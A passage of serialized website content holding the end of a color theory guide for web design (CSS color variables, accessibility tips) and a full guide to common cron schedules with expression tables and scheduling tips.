query",[135,264622,264624],{"className":1554,"code":264623,"language":1556,"meta":141,"style":141},"@media (prefers-color-scheme: dark) {\n  :root {\n    --bg: #121212;\n    --text: #E5E7EB;\n    --primary: hsl(200, 80%, 65%);\n  }\n}\n",[143,264625,264626,264632,264638,264649,264661,264688,264692],{"__ignoreMap":141},[1560,264627,264628,264630],{"class":1562,"line":1563},[1560,264629,17186],{"class":1669},[1560,264631,20188],{"class":1570},[1560,264633,264634,264636],{"class":1562,"line":337},[1560,264635,17205],{"class":1566},[1560,264637,1571],{"class":1570},[1560,264639,264640,264643,264645,264647],{"class":1562,"line":343},[1560,264641,264642],{"class":2219},"    --bg",[1560,264644,1663],{"class":1570},[1560,264646,55714],{"class":1576},[1560,264648,2228],{"class":1570},[1560,264650,264651,264654,264656,264659],{"class":1562,"line":365},[1560,264652,264653],{"class":2219},"    --text",[1560,264655,1663],{"class":1570},[1560,264657,264658],{"class":1576},"#E5E7EB",[1560,264660,2228],{"class":1570},[1560,264662,264663,264666,264668,264670,264672,264674,264676,264678,264680,264682,264684,264686],{"class":1562,"line":889},[1560,264664,264665],{"class":2219},"    --primary",[1560,264667,1663],{"class":1570},[1560,264669,50903],{"class":1576},[1560,264671,1688],{"class":1570},[1560,264673,18101],{"class":1576},[1560,264675,1459],{"class":1570},[1560,264677,5321],{"class":1576},[1560,264679,17990],{"class":1669},[1560,264681,1459],{"class":1570},[1560,264683,4836],{"class":1576},[1560,264685,17990],{"class":1669},[1560,264687,1744],{"class":1570},[1560,264689,264690],{"class":1562,"line":1710},[1560,264691,4959],{"class":1570},[1560,264693,264694],{"class":1562,"line":1717},[1560,264695,1585],{"class":1570},[11,264697,264699],{"id":264698},"common-color-mistakes-to-avoid","Common Color Mistakes to Avoid",[33,264701,264703],{"id":264702},"_1-using-too-many-colors","1. Using Too Many Colors",[16,264705,264706],{},"Limit your palette to 3-5 colors maximum. More creates visual chaos and dilutes brand identity.",[33,264708,264710],{"id":264709},"_2-ignoring-cultural-context","2. Ignoring Cultural Context",[16,264712,264713],{},"Red means \"danger\" in Western cultures but \"luck\" and \"prosperity\" in Chinese culture. Research your audience.",[33,264715,264717],{"id":264716},"_3-relying-only-on-color-for-meaning","3. Relying Only on Color for Meaning",[16,264719,264720],{},"Never use color alone to convey information. Always provide text labels or icons:",[135,264722,264724],{"className":6417,"code":264723,"language":6419,"meta":141,"style":141},"\u003C!-- Bad -->\n\u003Cspan style=\"color: red;\">Error\u003C\u002Fspan>\n\n\u003C!-- Good -->\n\u003Cspan class=\"error-icon\">⚠️\u003C\u002Fspan> \u003Cspan style=\"color: red;\">Error\u003C\u002Fspan>\n",[143,264725,264726,264730,264749,264753,264757],{"__ignoreMap":141},[1560,264727,264728],{"class":1562,"line":1563},[1560,264729,163611],{"class":1649},[1560,264731,264732,264734,264736,264738,264740,264743,264745,264747],{"class":1562,"line":337},[1560,264733,6431],{"class":1570},[1560,264735,1560],{"class":2484},[1560,264737,11449],{"class":1566},[1560,264739,7297],{"class":1570},[1560,264741,264742],{"class":5634},"\"color: red;\"",[1560,264744,70216],{"class":1570},[1560,264746,1560],{"class":2484},[1560,264748,6441],{"class":1570},[1560,264750,264751],{"class":1562,"line":343},[1560,264752,1702],{"emptyLinePlaceholder":363},[1560,264754,264755],{"class":1562,"line":365},[1560,264756,152409],{"class":1649},[1560,264758,264759,264761,264763,264765,264767,264770,264772,264774,264777,264779,264781,264783,264785,264787,264789],{"class":1562,"line":889},[1560,264760,6431],{"class":1570},[1560,264762,1560],{"class":2484},[1560,264764,11423],{"class":1566},[1560,264766,7297],{"class":1570},[1560,264768,264769],{"class":5634},"\"error-icon\"",[1560,264771,96009],{"class":1570},[1560,264773,1560],{"class":2484},[1560,264775,264776],{"class":1570},"> \u003C",[1560,264778,1560],{"class":2484},[1560,264780,11449],{"class":1566},[1560,264782,7297],{"class":1570},[1560,264784,264742],{"class":5634},[1560,264786,70216],{"class":1570},[1560,264788,1560],{"class":2484},[1560,264790,6441],{"class":1570},[33,264792,264794],{"id":264793},"_4-forgetting-about-color-blindness","4. Forgetting About Color Blindness",[16,264796,264797],{},"Approximately 1 in 12 men and 1 in 200 women have some form of color blindness. Test your designs with color blindness simulators and ensure information isn't conveyed by color alone.",[33,264799,264801],{"id":264800},"_5-using-pure-black-or-pure-white","5. Using Pure Black or Pure White",[16,264803,264804],{},"Pure #000000 and #FFFFFF create too much contrast and can cause eye strain. Use off-black and off-white instead.",[11,264806,264808],{"id":264807},"practical-implementation-with-css","Practical Implementation with CSS",[16,264810,264811],{},"Here's a complete example of a themed color system:",[135,264813,264815],{"className":1554,"code":264814,"language":1556,"meta":141,"style":141},":root {\n  \u002F* Primary palette *\u002F\n  --color-primary: hsl(200, 100%, 50%);\n  --color-primary-light: hsl(200, 100%, 70%);\n  --color-primary-dark: hsl(200, 100%, 30%);\n\n  \u002F* Neutral palette *\u002F\n  --color-bg: hsl(0, 0%, 100%);\n  --color-bg-alt: hsl(0, 0%, 96%);\n  --color-text: hsl(0, 0%, 13%);\n  --color-text-muted: hsl(0, 0%, 45%);\n  --color-border: hsl(0, 0%, 85%);\n\n  \u002F* Semantic colors *\u002F\n  --color-success: hsl(142, 76%, 36%);\n  --color-warning: hsl(38, 92%, 50%);\n  --color-error: hsl(0, 84%, 60%);\n  --color-info: hsl(200, 100%, 50%);\n}\n\n.dark {\n  --color-bg: hsl(0, 0%, 7%);\n  --color-bg-alt: hsl(0, 0%, 12%);\n  --color-text: hsl(0, 0%, 95%);\n  --color-text-muted: hsl(0, 0%, 60%);\n  --color-border: hsl(0, 0%, 25%);\n}\n",[143,264816,264817,264823,264828,264854,264881,264908,264912,264917,264943,264970,264996,265022,265048,265052,265057,265085,265111,265139,265165,265169,265173,265179,265205,265231,265257,265283,265309],{"__ignoreMap":141},[1560,264818,264819,264821],{"class":1562,"line":1563},[1560,264820,2207],{"class":1566},[1560,264822,1571],{"class":1570},[1560,264824,264825],{"class":1562,"line":337},[1560,264826,264827],{"class":1649},"  \u002F* Primary palette *\u002F\n",[1560,264829,264830,264832,264834,264836,264838,264840,264842,264844,264846,264848,264850,264852],{"class":1562,"line":343},[1560,264831,5815],{"class":2219},[1560,264833,1663],{"class":1570},[1560,264835,50903],{"class":1576},[1560,264837,1688],{"class":1570},[1560,264839,18101],{"class":1576},[1560,264841,1459],{"class":1570},[1560,264843,18114],{"class":1576},[1560,264845,17990],{"class":1669},[1560,264847,1459],{"class":1570},[1560,264849,18059],{"class":1576},[1560,264851,17990],{"class":1669},[1560,264853,1744],{"class":1570},[1560,264855,264856,264859,264861,264863,264865,264867,264869,264871,264873,264875,264877,264879],{"class":1562,"line":365},[1560,264857,264858],{"class":2219},"  --color-primary-light",[1560,264860,1663],{"class":1570},[1560,264862,50903],{"class":1576},[1560,264864,1688],{"class":1570},[1560,264866,18101],{"class":1576},[1560,264868,1459],{"class":1570},[1560,264870,18114],{"class":1576},[1560,264872,17990],{"class":1669},[1560,264874,1459],{"class":1570},[1560,264876,47166],{"class":1576},[1560,264878,17990],{"class":1669},[1560,264880,1744],{"class":1570},[1560,264882,264883,264886,264888,264890,264892,264894,264896,264898,264900,264902,264904,264906],{"class":1562,"line":889},[1560,264884,264885],{"class":2219},"  --color-primary-dark",[1560,264887,1663],{"class":1570},[1560,264889,50903],{"class":1576},[1560,264891,1688],{"class":1570},[1560,264893,18101],{"class":1576},[1560,264895,1459],{"class":1570},[1560,264897,18114],{"class":1576},[1560,264899,17990],{"class":1669},[1560,264901,1459],{"class":1570},[1560,264903,23995],{"class":1576},[1560,264905,17990],{"class":1669},[1560,264907,1744],{"class":1570},[1560,264909,264910],{"class":1562,"line":1710},[1560,264911,1702],{"emptyLinePlaceholder":363},[1560,264913,264914],{"class":1562,"line":1717},[1560,264915,264916],{"class":1649},"  \u002F* Neutral palette *\u002F\n",[1560,264918,264919,264921,264923,264925,264927,264929,264931,264933,264935,264937,264939,264941],{"class":1562,"line":1747},[1560,264920,2220],{"class":2219},[1560,264922,1663],{"class":1570},[1560,264924,50903],{"class":1576},[1560,264926,1688],{"class":1570},[1560,264928,5285],{"class":1576},[1560,264930,1459],{"class":1570},[1560,264932,5285],{"class":1576},[1560,264934,17990],{"class":1669},[1560,264936,1459],{"class":1570},[1560,264938,18114],{"class":1576},[1560,264940,17990],{"class":1669},[1560,264942,1744],{"class":1570},[1560,264944,264945,264948,264950,264952,264954,264956,264958,264960,264962,264964,264966,264968],{"class":1562,"line":2507},[1560,264946,264947],{"class":2219},"  --color-bg-alt",[1560,264949,1663],{"class":1570},[1560,264951,50903],{"class":1576},[1560,264953,1688],{"class":1570},[1560,264955,5285],{"class":1576},[1560,264957,1459],{"class":1570},[1560,264959,5285],{"class":1576},[1560,264961,17990],{"class":1669},[1560,264963,1459],{"class":1570},[1560,264965,247145],{"class":1576},[1560,264967,17990],{"class":1669},[1560,264969,1744],{"class":1570},[1560,264971,264972,264974,264976,264978,264980,264982,264984,264986,264988,264990,264992,264994],{"class":1562,"line":2524},[1560,264973,54609],{"class":2219},[1560,264975,1663],{"class":1570},[1560,264977,50903],{"class":1576},[1560,264979,1688],{"class":1570},[1560,264981,5285],{"class":1576},[1560,264983,1459],{"class":1570},[1560,264985,5285],{"class":1576},[1560,264987,17990],{"class":1669},[1560,264989,1459],{"class":1570},[1560,264991,13525],{"class":1576},[1560,264993,17990],{"class":1669},[1560,264995,1744],{"class":1570},[1560,264997,264998,265000,265002,265004,265006,265008,265010,265012,265014,265016,265018,265020],{"class":1562,"line":2529},[1560,264999,40245],{"class":2219},[1560,265001,1663],{"class":1570},[1560,265003,50903],{"class":1576},[1560,265005,1688],{"class":1570},[1560,265007,5285],{"class":1576},[1560,265009,1459],{"class":1570},[1560,265011,5285],{"class":1576},[1560,265013,17990],{"class":1669},[1560,265015,1459],{"class":1570},[1560,265017,1691],{"class":1576},[1560,265019,17990],{"class":1669},[1560,265021,1744],{"class":1570},[1560,265023,265024,265026,265028,265030,265032,265034,265036,265038,265040,265042,265044,265046],{"class":1562,"line":2534},[1560,265025,92182],{"class":2219},[1560,265027,1663],{"class":1570},[1560,265029,50903],{"class":1576},[1560,265031,1688],{"class":1570},[1560,265033,5285],{"class":1576},[1560,265035,1459],{"class":1570},[1560,265037,5285],{"class":1576},[1560,265039,17990],{"class":1669},[1560,265041,1459],{"class":1570},[1560,265043,14876],{"class":1576},[1560,265045,17990],{"class":1669},[1560,265047,1744],{"class":1570},[1560,265049,265050],{"class":1562,"line":2542},[1560,265051,1702],{"emptyLinePlaceholder":363},[1560,265053,265054],{"class":1562,"line":2558},[1560,265055,265056],{"class":1649},"  \u002F* Semantic colors *\u002F\n",[1560,265058,265059,265061,265063,265065,265067,265070,265072,265075,265077,265079,265081,265083],{"class":1562,"line":2570},[1560,265060,3499],{"class":2219},[1560,265062,1663],{"class":1570},[1560,265064,50903],{"class":1576},[1560,265066,1688],{"class":1570},[1560,265068,265069],{"class":1576},"142",[1560,265071,1459],{"class":1570},[1560,265073,265074],{"class":1576},"76",[1560,265076,17990],{"class":1669},[1560,265078,1459],{"class":1570},[1560,265080,42145],{"class":1576},[1560,265082,17990],{"class":1669},[1560,265084,1744],{"class":1570},[1560,265086,265087,265089,265091,265093,265095,265097,265099,265101,265103,265105,265107,265109],{"class":1562,"line":6638},[1560,265088,3514],{"class":2219},[1560,265090,1663],{"class":1570},[1560,265092,50903],{"class":1576},[1560,265094,1688],{"class":1570},[1560,265096,246973],{"class":1576},[1560,265098,1459],{"class":1570},[1560,265100,73786],{"class":1576},[1560,265102,17990],{"class":1669},[1560,265104,1459],{"class":1570},[1560,265106,18059],{"class":1576},[1560,265108,17990],{"class":1669},[1560,265110,1744],{"class":1570},[1560,265112,265113,265116,265118,265120,265122,265124,265126,265129,265131,265133,265135,265137],{"class":1562,"line":11615},[1560,265114,265115],{"class":2219},"  --color-error",[1560,265117,1663],{"class":1570},[1560,265119,50903],{"class":1576},[1560,265121,1688],{"class":1570},[1560,265123,5285],{"class":1576},[1560,265125,1459],{"class":1570},[1560,265127,265128],{"class":1576},"84",[1560,265130,17990],{"class":1669},[1560,265132,1459],{"class":1570},[1560,265134,18333],{"class":1576},[1560,265136,17990],{"class":1669},[1560,265138,1744],{"class":1570},[1560,265140,265141,265143,265145,265147,265149,265151,265153,265155,265157,265159,265161,265163],{"class":1562,"line":11621},[1560,265142,92232],{"class":2219},[1560,265144,1663],{"class":1570},[1560,265146,50903],{"class":1576},[1560,265148,1688],{"class":1570},[1560,265150,18101],{"class":1576},[1560,265152,1459],{"class":1570},[1560,265154,18114],{"class":1576},[1560,265156,17990],{"class":1669},[1560,265158,1459],{"class":1570},[1560,265160,18059],{"class":1576},[1560,265162,17990],{"class":1669},[1560,265164,1744],{"class":1570},[1560,265166,265167],{"class":1562,"line":11633},[1560,265168,1585],{"class":1570},[1560,265170,265171],{"class":1562,"line":11638},[1560,265172,1702],{"emptyLinePlaceholder":363},[1560,265174,265175,265177],{"class":1562,"line":11672},[1560,265176,4355],{"class":1566},[1560,265178,1571],{"class":1570},[1560,265180,265181,265183,265185,265187,265189,265191,265193,265195,265197,265199,265201,265203],{"class":1562,"line":19435},[1560,265182,2220],{"class":2219},[1560,265184,1663],{"class":1570},[1560,265186,50903],{"class":1576},[1560,265188,1688],{"class":1570},[1560,265190,5285],{"class":1576},[1560,265192,1459],{"class":1570},[1560,265194,5285],{"class":1576},[1560,265196,17990],{"class":1669},[1560,265198,1459],{"class":1570},[1560,265200,735],{"class":1576},[1560,265202,17990],{"class":1669},[1560,265204,1744],{"class":1570},[1560,265206,265207,265209,265211,265213,265215,265217,265219,265221,265223,265225,265227,265229],{"class":1562,"line":19442},[1560,265208,264947],{"class":2219},[1560,265210,1663],{"class":1570},[1560,265212,50903],{"class":1576},[1560,265214,1688],{"class":1570},[1560,265216,5285],{"class":1576},[1560,265218,1459],{"class":1570},[1560,265220,5285],{"class":1576},[1560,265222,17990],{"class":1669},[1560,265224,1459],{"class":1570},[1560,265226,13566],{"class":1576},[1560,265228,17990],{"class":1669},[1560,265230,1744],{"class":1570},[1560,265232,265233,265235,265237,265239,265241,265243,265245,265247,265249,265251,265253,265255],{"class":1562,"line":19475},[1560,265234,54609],{"class":2219},[1560,265236,1663],{"class":1570},[1560,265238,50903],{"class":1576},[1560,265240,1688],{"class":1570},[1560,265242,5285],{"class":1576},[1560,265244,1459],{"class":1570},[1560,265246,5285],{"class":1576},[1560,265248,17990],{"class":1669},[1560,265250,1459],{"class":1570},[1560,265252,49777],{"class":1576},[1560,265254,17990],{"class":1669},[1560,265256,1744],{"class":1570},[1560,265258,265259,265261,265263,265265,265267,265269,265271,265273,265275,265277,265279,265281],{"class":1562,"line":19508},[1560,265260,40245],{"class":2219},[1560,265262,1663],{"class":1570},[1560,265264,50903],{"class":1576},[1560,265266,1688],{"class":1570},[1560,265268,5285],{"class":1576},[1560,265270,1459],{"class":1570},[1560,265272,5285],{"class":1576},[1560,265274,17990],{"class":1669},[1560,265276,1459],{"class":1570},[1560,265278,18333],{"class":1576},[1560,265280,17990],{"class":1669},[1560,265282,1744],{"class":1570},[1560,265284,265285,265287,265289,265291,265293,265295,265297,265299,265301,265303,265305,265307],{"class":1562,"line":44196},[1560,265286,92182],{"class":2219},[1560,265288,1663],{"class":1570},[1560,265290,50903],{"class":1576},[1560,265292,1688],{"class":1570},[1560,265294,5285],{"class":1576},[1560,265296,1459],{"class":1570},[1560,265298,5285],{"class":1576},[1560,265300,17990],{"class":1669},[1560,265302,1459],{"class":1570},[1560,265304,22036],{"class":1576},[1560,265306,17990],{"class":1669},[1560,265308,1744],{"class":1570},[1560,265310,265311],{"class":1562,"line":44203},[1560,265312,1585],{"class":1570},[11,265314,2831],{"id":265315},"conclusion",[16,265317,265318],{},"Color theory provides a framework for making intentional, effective color choices in web design. By understanding the color wheel, harmony rules, contrast requirements, and psychological associations, you can create websites that are not only beautiful but also accessible and effective at communicating your message.",[16,265320,265321],{},"Remember: great color design is purposeful, not accidental. Take the time to build a proper color system, test it thoroughly, and iterate based on user feedback.",[11,265323,286],{"id":285},[16,265325,29979,265326,265328],{},[98,265327,18588],{"href":18587}," to create beautiful, accessible color schemes and work with different color formats.",[2043,265330,265331],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":265333},[265334,265335,265340,265347,265352,265353,265360,265365,265372,265373,265374],{"id":263770,"depth":337,"text":263771},{"id":263780,"depth":337,"text":263781,"children":265336},[265337,265338,265339],{"id":263787,"depth":343,"text":263788},{"id":91139,"depth":343,"text":91140},{"id":91163,"depth":343,"text":91164},{"id":263843,"depth":337,"text":263844,"children":265341},[265342,265343,265344,265345,265346],{"id":263850,"depth":343,"text":263851},{"id":263888,"depth":343,"text":263889},{"id":263922,"depth":343,"text":263923},{"id":263956,"depth":343,"text":263957},{"id":263978,"depth":343,"text":263979},{"id":91368,"depth":337,"text":91369,"children":265348},[265349,265350,265351],{"id":3278,"depth":343,"text":3279},{"id":264072,"depth":343,"text":264073},{"id":264150,"depth":343,"text":264151},{"id":264167,"depth":337,"text":264168},{"id":264274,"depth":337,"text":264275,"children":265354},[265355,265356,265357,265358,265359],{"id":264281,"depth":343,"text":264282},{"id":264301,"depth":343,"text":264302},{"id":264314,"depth":343,"text":264315},{"id":264425,"depth":343,"text":264426},{"id":91617,"depth":343,"text":91618},{"id":264499,"depth":337,"text":264500,"children":265361},[265362,265363,265364],{"id":264506,"depth":343,"text":264507},{"id":264536,"depth":343,"text":264537},{"id":264602,"depth":343,"text":264603},{"id":264698,"depth":337,"text":264699,"children":265366},[265367,265368,265369,265370,265371],{"id":264702,"depth":343,"text":264703},{"id":264709,"depth":343,"text":264710},{"id":264716,"depth":343,"text":264717},{"id":264793,"depth":343,"text":264794},{"id":264800,"depth":343,"text":264801},{"id":264807,"depth":337,"text":264808},{"id":265315,"depth":337,"text":2831},{"id":285,"depth":337,"text":286},"Learn color theory fundamentals for web design: color wheels, complementary colors, contrast ratios, and accessible color schemes.",{"immutable":363},"\u002Fguides\u002Fcolor-theory-web-design",{"title":263765,"description":265375},"guides\u002Fcolor-theory-web-design","FzjR-gmU5BjxetXVh3bVWx4sHGyf0Pv4JrheO33d8Co",{"id":265382,"title":265383,"body":265384,"date":257855,"description":265908,"extension":361,"meta":265909,"navigation":363,"path":236385,"readingTime":1717,"seo":265910,"stem":265911,"__hash__":265912},"guides\u002Fguides\u002Fcommon-cron-schedules.md","25 Most Common Cron Schedules Explained",{"type":8,"value":265385,"toc":265892},[265386,265390,265393,265399,265403,265494,265498,265590,265594,265685,265689,265692,265698,265702,265744,265748,265751,265794,265800,265804,265808,265818,265824,265830,265835,265839,265845,265860,265864,265870,265874,265889],[11,265387,265389],{"id":265388},"why-you-need-common-cron-schedules","Why You Need Common Cron Schedules",[16,265391,265392],{},"Cron is the standard task scheduler on Linux and macOS. But writing cron expressions from scratch is error-prone — a single digit in the wrong field can silently shift your schedule by hours or days. This guide lists the 25 most frequently used cron schedules so you can copy them with confidence.",[16,265394,265395,265396,468],{},"Need to decode a custom expression first? Try the ",[98,265397,265398],{"href":985},"Cron Expression Parser",[11,265400,265402],{"id":265401},"every-minute-and-every-hour-schedules","Every-Minute and Every-Hour Schedules",[193,265404,265405,265414],{},[196,265406,265407],{},[199,265408,265409,265412],{},[202,265410,265411],{},"Cron Expression",[202,265413,207],{},[211,265415,265416,265426,265436,265446,265454,265464,265474,265484],{},[199,265417,265418,265423],{},[216,265419,265420],{},[143,265421,265422],{},"* * * * *",[216,265424,265425],{},"Every minute",[199,265427,265428,265433],{},[216,265429,265430],{},[143,265431,265432],{},"*\u002F5 * * * *",[216,265434,265435],{},"Every 5 minutes",[199,265437,265438,265443],{},[216,265439,265440],{},[143,265441,265442],{},"*\u002F10 * * * *",[216,265444,265445],{},"Every 10 minutes",[199,265447,265448,265452],{},[216,265449,265450],{},[143,265451,1172],{},[216,265453,1175],{},[199,265455,265456,265461],{},[216,265457,265458],{},[143,265459,265460],{},"*\u002F30 * * * *",[216,265462,265463],{},"Every 30 minutes",[199,265465,265466,265471],{},[216,265467,265468],{},[143,265469,265470],{},"0 * * * *",[216,265472,265473],{},"Every hour (at minute 0)",[199,265475,265476,265481],{},[216,265477,265478],{},[143,265479,265480],{},"0 *\u002F2 * * *",[216,265482,265483],{},"Every 2 hours",[199,265485,265486,265491],{},[216,265487,265488],{},[143,265489,265490],{},"0 *\u002F6 * * *",[216,265492,265493],{},"Every 6 hours",[11,265495,265497],{"id":265496},"daily-schedules","Daily Schedules",[193,265499,265500,265508],{},[196,265501,265502],{},[199,265503,265504,265506],{},[202,265505,265411],{},[202,265507,207],{},[211,265509,265510,265520,265530,265540,265550,265560,265570,265580],{},[199,265511,265512,265517],{},[216,265513,265514],{},[143,265515,265516],{},"0 0 * * *",[216,265518,265519],{},"Every day at midnight",[199,265521,265522,265527],{},[216,265523,265524],{},[143,265525,265526],{},"0 1 * * *",[216,265528,265529],{},"Every day at 1:00 AM",[199,265531,265532,265537],{},[216,265533,265534],{},[143,265535,265536],{},"0 6 * * *",[216,265538,265539],{},"Every day at 6:00 AM",[199,265541,265542,265547],{},[216,265543,265544],{},[143,265545,265546],{},"0 9 * * *",[216,265548,265549],{},"Every day at 9:00 AM",[199,265551,265552,265557],{},[216,265553,265554],{},[143,265555,265556],{},"0 12 * * *",[216,265558,265559],{},"Every day at noon",[199,265561,265562,265567],{},[216,265563,265564],{},[143,265565,265566],{},"0 18 * * *",[216,265568,265569],{},"Every day at 6:00 PM",[199,265571,265572,265577],{},[216,265573,265574],{},[143,265575,265576],{},"30 2 * * *",[216,265578,265579],{},"Every day at 2:30 AM",[199,265581,265582,265587],{},[216,265583,265584],{},[143,265585,265586],{},"0 0 * * 1-5",[216,265588,265589],{},"Weekdays at midnight",[11,265591,265593],{"id":265592},"weekly-and-monthly-schedules","Weekly and Monthly Schedules",[193,265595,265596,265604],{},[196,265597,265598],{},[199,265599,265600,265602],{},[202,265601,265411],{},[202,265603,207],{},[211,265605,265606,265616,265626,265636,265646,265655,265665,265675],{},[199,265607,265608,265613],{},[216,265609,265610],{},[143,265611,265612],{},"0 0 * * 0",[216,265614,265615],{},"Every Sunday at midnight",[199,265617,265618,265623],{},[216,265619,265620],{},[143,265621,265622],{},"0 0 * * 1",[216,265624,265625],{},"Every Monday at midnight",[199,265627,265628,265633],{},[216,265629,265630],{},[143,265631,265632],{},"0 9 * * 1",[216,265634,265635],{},"Every Monday at 9:00 AM",[199,265637,265638,265643],{},[216,265639,265640],{},[143,265641,265642],{},"0 0 1 * *",[216,265644,265645],{},"First day of every month at midnight",[199,265647,265648,265652],{},[216,265649,265650],{},[143,265651,1182],{},[216,265653,265654],{},"January 1st at midnight (yearly)",[199,265656,265657,265662],{},[216,265658,265659],{},[143,265660,265661],{},"0 0 1,15 * *",[216,265663,265664],{},"1st and 15th of every month",[199,265666,265667,265672],{},[216,265668,265669],{},[143,265670,265671],{},"0 0 28-31 * *",[216,265673,265674],{},"Last day of every month (runs 28-31; check your parser)",[199,265676,265677,265682],{},[216,265678,265679],{},[143,265680,265681],{},"0 9 1 * 1",[216,265683,265684],{},"First Monday of every month approximation (use with care)",[11,265686,265688],{"id":265687},"understanding-the-five-fields","Understanding the Five Fields",[16,265690,265691],{},"Every standard cron expression has five fields separated by spaces:",[135,265693,265696],{"className":265694,"code":265695,"language":140},[138],"┌──────── minute (0-59)\n│ ┌────── hour (0-23)\n│ │ ┌──── day of month (1-31)\n│ │ │ ┌── month (1-12)\n│ │ │ │ ┌ day of week (0-7, where 0 and 7 are Sunday)\n│ │ │ │ │\n* * * * *\n",[143,265697,265695],{"__ignoreMap":141},[33,265699,265701],{"id":265700},"special-characters","Special Characters",[41,265703,265704,265711,265722,265733],{},[44,265705,265706,265710],{},[47,265707,265708],{},[143,265709,8069],{}," — matches every value in that field",[44,265712,265713,265717,265718,265721],{},[47,265714,265715],{},[143,265716,6858],{}," — lists multiple values (e.g., ",[143,265719,265720],{},"1,15"," for the 1st and 15th)",[44,265723,265724,265728,265729,265732],{},[47,265725,265726],{},[143,265727,9412],{}," — defines a range (e.g., ",[143,265730,265731],{},"1-5"," for Monday through Friday)",[44,265734,265735,265739,265740,265743],{},[47,265736,265737],{},[143,265738,9423],{}," — step values (e.g., ",[143,265741,265742],{},"*\u002F15"," for every 15 units)",[11,265745,265747],{"id":265746},"six-field-cron-with-seconds","Six-Field Cron (With Seconds)",[16,265749,265750],{},"Some platforms (Spring, Quartz, AWS EventBridge) use a sixth field for seconds at the beginning:",[193,265752,265753,265762],{},[196,265754,265755],{},[199,265756,265757,265760],{},[202,265758,265759],{},"6-Field Expression",[202,265761,207],{},[211,265763,265764,265774,265784],{},[199,265765,265766,265771],{},[216,265767,265768],{},[143,265769,265770],{},"0 *\u002F5 * * * *",[216,265772,265773],{},"Every 5 minutes (with explicit second 0)",[199,265775,265776,265781],{},[216,265777,265778],{},[143,265779,265780],{},"30 0 * * * *",[216,265782,265783],{},"Every hour at 30 seconds past",[199,265785,265786,265791],{},[216,265787,265788],{},[143,265789,265790],{},"0 0 0 * * *",[216,265792,265793],{},"Daily at midnight with second precision",[16,265795,265796,265797,265799],{},"Always check which format your platform expects. Our ",[98,265798,986],{"href":985}," supports both 5-field and 6-field modes.",[11,265801,265803],{"id":265802},"tips-for-reliable-cron-schedules","Tips for Reliable Cron Schedules",[33,265805,265807],{"id":265806},"avoid-day-of-month-and-day-of-week-together","Avoid Day-of-Month and Day-of-Week Together",[16,265809,265810,265811,265813,265814,265817],{},"When both fields are specified (not ",[143,265812,8069],{},"), cron runs the job when ",[47,265815,265816],{},"either"," condition matches — not both. This is a common source of bugs.",[16,265819,265820,265823],{},[47,265821,265822],{},"Wrong"," (runs every Friday AND every 1st of the month):",[135,265825,265828],{"className":265826,"code":265827,"language":140},[138],"0 0 1 * 5\n",[143,265829,265827],{"__ignoreMap":141},[16,265831,265832,265834],{},[47,265833,193710],{}," — use a wrapper script with an if-check instead, or choose one field.",[33,265836,265838],{"id":265837},"use-timezone-aware-scheduling","Use Timezone-Aware Scheduling",[16,265840,265841,265842,265844],{},"Cron uses the system timezone by default. For servers in UTC, ",[143,265843,265546],{}," means 9:00 AM UTC — not your local time. Always verify with:",[135,265846,265848],{"className":6951,"code":265847,"language":6953,"meta":141,"style":141},"date\ntimedatectl\n",[143,265849,265850,265855],{"__ignoreMap":141},[1560,265851,265852],{"class":1562,"line":1563},[1560,265853,265854],{"class":1566},"date\n",[1560,265856,265857],{"class":1562,"line":337},[1560,265858,265859],{"class":1566},"timedatectl\n",[33,265861,265863],{"id":265862},"test-before-deploying","Test Before Deploying",[16,265865,265866,265867,265869],{},"Paste your expression into the ",[98,265868,986],{"href":985}," before adding it to production. It shows the next 10 execution times so you can confirm the schedule is correct.",[11,265871,265873],{"id":265872},"further-reading","Further Reading",[41,265875,265876,265882],{},[44,265877,265878,265881],{},[98,265879,265880],{"href":1203},"Cron Expression Syntax: Complete Reference"," — deep dive into every field and special character",[44,265883,265884,265888],{},[98,265885,265887],{"href":265886},"\u002Fcheat-sheets\u002Fcron","Cron Cheat Sheet"," — printable syntax reference",[2043,265890,265891],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: 